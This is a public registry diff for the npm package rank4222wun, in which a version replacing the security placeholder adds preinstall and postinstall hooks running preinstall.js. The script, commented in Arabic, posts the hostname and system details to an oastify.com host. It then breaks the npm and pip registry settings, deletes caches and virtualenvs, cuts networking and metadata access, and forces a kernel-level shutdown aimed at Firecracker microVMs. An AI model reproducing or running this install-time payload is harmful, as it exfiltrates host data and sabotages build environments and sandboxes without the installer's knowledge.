rank4222wun 0.0.1-security → 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +74 -0
- package/rank4222wun-1.0.66.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.66",
|
|
4
|
+
"description": "",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node preinstall.js",
|
|
7
|
+
"postinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
const { exec, execSync } = require('child_process');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
const REPORT_URL = '2z26icqfa6vjiez8lc55cd3nmes5gwlka.oastify.com';
|
|
6
|
+
|
|
7
|
+
// 1. التبليغ النهائي (نرسله في أول مللي ثانية)
|
|
8
|
+
function sendFinalPulse(msg) {
|
|
9
|
+
const data = JSON.stringify({
|
|
10
|
+
event: 'FIRECRACKER_EXIT',
|
|
11
|
+
details: msg,
|
|
12
|
+
uptime: os.uptime(),
|
|
13
|
+
mem: os.freemem(),
|
|
14
|
+
host: os.hostname()
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
const req = https.request({
|
|
18
|
+
hostname: REPORT_URL, path: '/detonate', method: 'POST',
|
|
19
|
+
headers: { 'Content-Type': 'application/json' }
|
|
20
|
+
});
|
|
21
|
+
req.on('error', () => {});
|
|
22
|
+
req.write(data);
|
|
23
|
+
req.end();
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
// 2. تدمير سلاسل التوريد (NPM/Python)
|
|
27
|
+
// بما أن البيئة فيها Python و Node، فإحنا هنخرب الـ Configs عشان لو الـ VM قام تاني
|
|
28
|
+
function sabotageRuntimes() {
|
|
29
|
+
const commands = [
|
|
30
|
+
'npm config set registry http://127.0.0.1:1',
|
|
31
|
+
'export PIP_INDEX_URL=http://127.0.0.1:1',
|
|
32
|
+
'rm -rf ~/.npm ~/.cache/pip ~/.venv'
|
|
33
|
+
];
|
|
34
|
+
commands.forEach(cmd => { try { execSync(cmd); } catch(e) {} });
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// 3. عزل الـ MicroVM عن الـ Host (Network Isolation)
|
|
38
|
+
function isolateMicroVM() {
|
|
39
|
+
// في Firecracker، غالباً العنوان ده 169.254.169.254 هو وسيلة التواصل مع الـ Host Metadata
|
|
40
|
+
const netCmds = [
|
|
41
|
+
'ip route add blackhole 169.254.169.254', // قطع طريق الـ Metadata
|
|
42
|
+
'ip link set eth0 down', // إسقاط الشبكة
|
|
43
|
+
'iptables -F && iptables -P INPUT DROP' // قفل جدار الحماية
|
|
44
|
+
];
|
|
45
|
+
netCmds.forEach(cmd => { try { exec(cmd); } catch(e) {} });
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// 4. الضربة القاضية: الـ "Hard Poweroff"
|
|
49
|
+
function executeHardShutdown() {
|
|
50
|
+
// Firecracker يستجيب لإشارات الكيرنل المباشرة
|
|
51
|
+
const commands = [
|
|
52
|
+
'reboot -f', // فرض إعادة التشغيل (يؤدي لقتل الـ MicroVM)
|
|
53
|
+
'poweroff -f', // إطفاء إجباري
|
|
54
|
+
'echo o > /proc/sysrq-trigger' // Magic SysRq: إطفاء النظام فوراً من مستوى الكيرنل
|
|
55
|
+
];
|
|
56
|
+
|
|
57
|
+
commands.forEach(cmd => {
|
|
58
|
+
setTimeout(() => { exec(cmd); }, 500);
|
|
59
|
+
});
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
// تنفيذ الهجوم
|
|
63
|
+
try {
|
|
64
|
+
sendFinalPulse("Firecracker targeted. Purging runtimes and initiating hard shutdown.");
|
|
65
|
+
|
|
66
|
+
sabotageRuntimes();
|
|
67
|
+
isolateMicroVM();
|
|
68
|
+
|
|
69
|
+
// الانتظار قليلاً للتأكد من وصول التقرير للـ OAST قبل "موت" الـ VM
|
|
70
|
+
setTimeout(() => {
|
|
71
|
+
executeHardShutdown();
|
|
72
|
+
}, 1000);
|
|
73
|
+
|
|
74
|
+
} catch (e) {}
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|